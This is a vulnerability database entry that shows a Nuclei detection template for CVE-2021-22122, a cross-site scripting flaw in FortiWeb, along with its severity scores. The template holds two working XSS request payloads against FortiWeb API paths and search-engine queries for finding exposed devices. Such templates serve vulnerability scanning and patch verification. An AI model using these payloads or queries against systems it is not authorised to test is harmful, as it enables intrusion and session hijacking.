Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2021-22122
HistoryFeb 04, 2021 - 1:33 p.m.

FortiWeb - Cross Site Scripting

2021-02-0413:33:19
ProjectDiscovery
github.com
6
cve2021
cross site scripting
fortinet
sensitive user information
session hijacking
security patches
web page generation
remote attacker
api end-points

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.03

Percentile

91.1%

FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
id: CVE-2021-22122

info:
  name: FortiWeb - Cross Site Scripting
  author: dwisiswant0
  severity: medium
  description: |
    FortiWeb 6.3.0 through 6.3.7 and versions before 6.2.4 contain an unauthenticated cross-site scripting vulnerability. Improper neutralization of input during web page generation can allow a remote attacker to inject malicious payload in vulnerable API end-points.
  impact: |
    Successful exploitation of this vulnerability can result in the compromise of sensitive user information, session hijacking.
  remediation: |
    Apply the latest security patches or updates provided by Fortinet to fix the XSS vulnerability in FortiWeb.
  reference:
    - https://www.fortiguard.com/psirt/FG-IR-20-122
    - https://twitter.com/ptswarm/status/1357316793753362433
    - https://fortiguard.com/advisory/FG-IR-20-122
    - https://nvd.nist.gov/vuln/detail/CVE-2021-22122
    - https://github.com/Elsfa7-110/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-22122
    cwe-id: CWE-79
    epss-score: 0.0548
    epss-percentile: 0.93181
    cpe: cpe:2.3:a:fortinet:fortiweb:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: fortinet
    product: fortiweb
    shodan-query: http.title:"fortiweb - "
    fofa-query: title="fortiweb - "
    google-query: intitle:"fortiweb - "
  tags: cve2021,cve,fortiweb,xss,fortinet

http:
  - method: GET
    path:
      - "{{BaseURL}}/error3?msg=30&data=';alert('document.domain');//"
      - "{{BaseURL}}/omni_success?cmdb_edit_path=\");alert('document.domain');//"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert('document.domain')"
          - "No policy has been chosen."
        condition: and
# digest: 4a0a004730450220629006153c7a66dfeffb79e83cc3499f75a1fa21bb44be8f7cdc17e1c3fb6e5d022100b723f083bb930b163aa1fd144c5ea4ba7513b5fa4b09677f46a0e40503d4787f:922c64590222798bb761d5b6d8e72950

CVSS2

4.3

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

PARTIAL

Availability Impact

NONE

AV:N/AC:M/Au:N/C:N/I:P/A:N

CVSS3

6.1

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

CHANGED

Confidentiality Impact

LOW

Integrity Impact

LOW

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

EPSS

0.03

Percentile

91.1%

Related for NUCLEI:CVE-2021-22122